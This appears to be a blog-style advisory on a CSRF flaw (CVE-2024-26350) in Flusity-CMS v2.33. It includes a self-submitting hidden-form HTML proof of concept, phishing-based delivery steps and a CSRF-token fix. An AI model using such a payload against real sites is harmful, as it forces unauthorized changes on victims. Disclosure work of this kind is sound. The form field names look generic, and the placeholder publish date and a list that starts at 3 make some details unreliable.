Flusity-CMS v2.33, a popular content management system, was discovered to contain a serious Cross-Site Request Forgery (CSRF) vulnerability within the /core/tools/update_contact_form_settings.php component. This vulnerability allows an attacker to perform actions on the end-user's behalf without their consent, potentially leading to unauthorized updates, deletion of data, and other unintended consequences. In this post, we will explore the details of this vulnerability, its implications, code snippets demonstrating the flaw, and links to original references that highlight the issue.
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Published Date: YYYY-MM-DD (pending assignment and disclosure)
- Affected Component: /core/tools/update_contact_form_settings.php
Affected Version: Flusity-CMS v2.33
- Impact: Unauthorized updates or modifications initiated by attackers on the contacts of Flusity-CMS v2.33.
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Vulnerability Background
Cross-Site Request Forgery (CSRF) is a type of client-side attack in which an attacker can initiate requests on behalf of a legitimate user, without their actual consent or involvement. CSRF attacks leverage the fact that web applications often trust the requests coming from an authenticated user, without validating the origin or intent of the request.
In the case of Flusity-CMS v2.33, the vulnerability exists within the /core/tools/update_contact_form_settings.php component, which is responsible for handling updates to the contact form settings within the application. An attacker can craft a malicious request to this component, thereby tricking the end-user into performing the desired action without their knowledge.
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Code Snippet Demonstrating Vulnerability
The following code snippet demonstrates how an attacker could exploit the CSRF vulnerability to modify the contact form settings:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>CVE-2024-26350 Exploit</title>
</head>
<body>
<h1>Hidden CSRF Exploit</h1>
<form action="http://target_site.com/core/tools/update_contact_form_settings.php"; method="POST" id="csrf-form">
<!-- Attacker-Controlled Values -->
<input type="hidden" name="new_setting_name" value="Attacker Controlled Setting">
<input type="hidden" name="new_setting_value" value="Malicious Value">
</form>
<script>
document.getElementById("csrf-form").submit();
</script>
</body>
</html>
By loading this malicious HTML code in the user's web browser, the attacker can cause an unintended update_contact_form_settings request to be sent to the Flusity-CMS instance and executed on behalf of the victim.
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Exploit Details
To successfully perform a CSRF attack on the Flusity-CMS v2.33-client, the attacker must meet the following requirements:
Attacker must create a malicious CSRF payload (as demonstrated earlier) and host it on a website.
3. The attacker must make the victim visit the malicious website hosting the CSRF payload. This can be done using social engineering, phishing, or other techniques.
Once the victim visits the attacker's malicious website, the embedded CSRF exploit will initiate the illegitimate request towards the Flusity-CMS v2.33 instance, causing unintended modifications or updates on the victim's behalf.
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Recommended Fix
A recommended fix for this vulnerability would be to implement a CSRF token mechanism. Such a mechanism would provide unique tokens to each user session, which must be included in every sensitive request to validate its origin and legitimacy. Flusity-CMS developers should take steps to integrate CSRF tokens into their application logic to prevent future exploitations.
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Original References
1. Flusity-CMS Official Website
2. OWASP CSRF Prevention Cheat Sheet
3. CVE Database
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Conclusion
In summary, the Flusity-CMS v2.33 contains a CSRF vulnerability within the /core/tools/update_contact_form_settings.php component. This vulnerability can lead to unauthorized updates, deletion of data, and other unintended consequences. To secure their applications, Flusity-CMS developers should implement CSRF tokens for user requests, ensuring that they are validated before any sensitive actions take place.
Timeline
Published on: 02/22/2024 14:15:47 UTC
Last modified on: 02/22/2024 19:07:27 UTC